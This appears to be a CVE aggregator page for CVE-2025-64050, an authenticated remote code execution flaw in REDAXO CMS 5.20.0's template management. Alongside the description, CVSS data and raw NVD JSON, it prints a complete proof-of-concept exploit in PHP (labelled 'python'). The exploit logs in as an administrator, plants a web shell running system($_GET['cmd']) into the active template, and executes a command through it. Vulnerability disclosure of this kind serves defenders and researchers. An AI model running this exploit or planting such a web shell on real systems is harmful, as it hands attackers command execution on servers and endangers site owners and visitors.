Security Vulnerability Report
中文
CVE-2025-64050 CVSS 7.2 HIGH

CVE-2025-64050

Published: 2025-11-25 16:16:07
Last Modified: 2025-12-03 17:06:43

Description

A Remote Code Execution (RCE) vulnerability in the template management component in REDAXO CMS 5.20.0 allows remote authenticated administrators to execute arbitrary operating system commands by injecting PHP code into an active template. The payload is executed when visitors access frontend pages using the compromised template.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redaxo:redaxo:5.20.0:*:*:*:*:*:*:* - VULNERABLE
REDAXO CMS 5.20.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-64050 PoC - REDAXO CMS Template Injection RCE // Requirements: Valid administrator credentials $target = 'http://target-site.com'; $username = 'admin'; $password = 'admin123'; // Step 1: Login to REDAXO CMS $loginUrl = $target . '/redaxo/index.php'; $loginData = [ 'login' => $username, 'password' => $password, 'form' => 'login', 'redirect' => '' ]; echo "[*] Logging in as administrator...\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $loginUrl); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($loginData)); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); // Step 2: Inject PHP payload into active template $templateUrl = $target . '/redaxo/index.php?page=template'; $maliciousPayload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'; $templateData = [ 'template_content' => $maliciousPayload, 'save' => '1' ]; echo "[*] Injecting malicious PHP code into template...\n"; curl_setopt($ch, CURLOPT_URL, $templateUrl); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($templateData)); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); $response = curl_exec($ch); // Step 3: Execute commands via injected payload echo "[*] Executing command on target...\n"; $exploitUrl = $target . '/index.php?cmd=whoami'; curl_setopt($ch, CURLOPT_URL, $exploitUrl); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); echo "[+] Command output: " . $result . "\n"; curl_close($ch); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64050", "sourceIdentifier": "[email protected]", "published": "2025-11-25T16:16:07.430", "lastModified": "2025-12-03T17:06:43.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Remote Code Execution (RCE) vulnerability in the template management component in REDAXO CMS 5.20.0 allows remote authenticated administrators to execute arbitrary operating system commands by injecting PHP code into an active template. The payload is executed when visitors access frontend pages using the compromised template."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redaxo:redaxo:5.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "925CD38C-2DA9-4440-AED4-EFBE03160E71"}]}]}], "references": [{"url": "https://drive.google.com/drive/folders/1Via4r4wn5zCcBllWmHpxYweCPgcbN0bz?usp=sharing", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/redaxo/redaxo", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vettrivel007/CVE-Disclosures/blob/main/CVE-2025-64050.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}